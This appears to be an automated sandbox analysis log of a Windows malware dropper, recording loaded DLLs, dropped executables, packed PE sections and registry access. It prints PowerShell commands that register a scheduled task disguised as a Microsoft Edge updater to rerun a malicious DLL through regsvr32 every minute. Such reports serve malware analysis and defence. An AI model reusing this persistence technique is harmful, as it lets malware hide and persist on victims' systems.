Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.39.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.39.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.39.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.39.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.39.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.39.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\regsvr32.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Little Leg_is1

Source: file.exe

Static file information: File size 1908736 > 1048576

Source: file.exe

Static PE information: Raw size of pykcxpuc is bigger than: 0x100000 < 0x1a0000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.530000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pykcxpuc:EW;hqudcphw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pykcxpuc:EW;hqudcphw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pykcxpuc:EW;hqudcphw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pykcxpuc:EW;hqudcphw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pykcxpuc:EW;hqudcphw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pykcxpuc:EW;hqudcphw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Unpacked PE file: 44.2.46bc483599.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W;dgdiyami:EW;siwuhmix:EW;.taggant:EW; vs :ER;.rsrc:W;

Suspicious powershell command line found

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

23_2_003B42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x42d0a3 should be: 0x42da97
Source: SillyShelf.tmp.13.dr	Static PE information: real checksum: 0x0 should be: 0x127e44
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x2b63d1 should be: 0x2b85a1
Source: 41266a11cd.exe.6.dr	Static PE information: real checksum: 0x1cfa0e should be: 0x1d61b0
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1c0d46 should be: 0x1c7302
Source: _setup64.tmp.9.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: _setup64.tmp.14.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: 46bc483599.exe.6.dr	Static PE information: real checksum: 0x2b63d1 should be: 0x2b85a1
Source: SillyShelf[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x1befd0
Source: SillyShelf.tmp.8.dr	Static PE information: real checksum: 0x0 should be: 0x127e44
Source: 813d0f4405.exe.6.dr	Static PE information: real checksum: 0x1c0d46 should be: 0x1c7302
Source: SillyShelf.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x1befd0
Source: is-HBCT4.tmp.14.dr	Static PE information: real checksum: 0x0 should be: 0x1257db
Source: file.exe	Static PE information: real checksum: 0x1d3433 should be: 0x1d54bc
Source: ce23dfc9e9.exe.6.dr	Static PE information: real checksum: 0x42d0a3 should be: 0x42da97
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d3433 should be: 0x1d54bc
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1cfa0e should be: 0x1d61b0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pykcxpuc
Source: file.exe	Static PE information: section name: hqudcphw
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: pykcxpuc
Source: skotes.exe.0.dr	Static PE information: section name: hqudcphw
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: ezbvjsfb
Source: random[1].exe.6.dr	Static PE information: section name: cmymopnd
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name:
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: .rsrc
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: .idata
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name:
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: ezbvjsfb
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: cmymopnd
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: gvbnyfpp
Source: random[1].exe0.6.dr	Static PE information: section name: qsyvlzzs
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 41266a11cd.exe.6.dr	Static PE information: section name:
Source: 41266a11cd.exe.6.dr	Static PE information: section name: .idata
Source: 41266a11cd.exe.6.dr	Static PE information: section name:
Source: 41266a11cd.exe.6.dr	Static PE information: section name: gvbnyfpp
Source: 41266a11cd.exe.6.dr	Static PE information: section name: qsyvlzzs
Source: 41266a11cd.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name: dgdiyami
Source: random[1].exe1.6.dr	Static PE information: section name: siwuhmix
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: roagfprl
Source: random[1].exe2.6.dr	Static PE information: section name: igylmmhq
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 813d0f4405.exe.6.dr	Static PE information: section name:
Source: 813d0f4405.exe.6.dr	Static PE information: section name: .idata
Source: 813d0f4405.exe.6.dr	Static PE information: section name:
Source: 813d0f4405.exe.6.dr	Static PE information: section name: roagfprl
Source: 813d0f4405.exe.6.dr	Static PE information: section name: igylmmhq
Source: 813d0f4405.exe.6.dr	Static PE information: section name: .taggant
Source: 46bc483599.exe.6.dr	Static PE information: section name:
Source: 46bc483599.exe.6.dr	Static PE information: section name: .idata
Source: 46bc483599.exe.6.dr	Static PE information: section name: dgdiyami
Source: 46bc483599.exe.6.dr	Static PE information: section name: siwuhmix
Source: 46bc483599.exe.6.dr	Static PE information: section name: .taggant
Source: is-K9C20.tmp.14.dr	Static PE information: section name: .xdata

Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp

Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"

Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Code function: 7_3_01AE0425 push eax; ret	7_3_01AE042B
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Code function: 7_3_01AD5EBC pushad ; iretd	7_3_01AD5EBD
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF003B push eax; iretd	17_3_00AF0068
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AED900 push esi; ret	17_3_00AED901
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF21DC push esi; retf	17_3_00AF21E1
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Code function: 17_3_00AF8457 push 00000022h; retf	17_3_00AF8459

Source: file.exe	Static PE information: section name: entropy: 7.98298473035459
Source: file.exe	Static PE information: section name: pykcxpuc entropy: 7.953889920678038
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.98298473035459
Source: skotes.exe.0.dr	Static PE information: section name: pykcxpuc entropy: 7.953889920678038
Source: random[1].exe.6.dr	Static PE information: section name: ezbvjsfb entropy: 7.955300802643443
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: ezbvjsfb entropy: 7.955300802643443
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.980623866120003
Source: random[1].exe0.6.dr	Static PE information: section name: gvbnyfpp entropy: 7.95349826278186
Source: 41266a11cd.exe.6.dr	Static PE information: section name: entropy: 7.980623866120003
Source: 41266a11cd.exe.6.dr	Static PE information: section name: gvbnyfpp entropy: 7.95349826278186
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.788305011961732
Source: random[1].exe2.6.dr	Static PE information: section name: roagfprl entropy: 7.954546292883697
Source: 813d0f4405.exe.6.dr	Static PE information: section name: roagfprl entropy: 7.954546292883697
Source: 46bc483599.exe.6.dr	Static PE information: section name: entropy: 7.788305011961732

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\SillyShelf[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Roaming\is-K9C20.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	File created: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Jump to dropped file
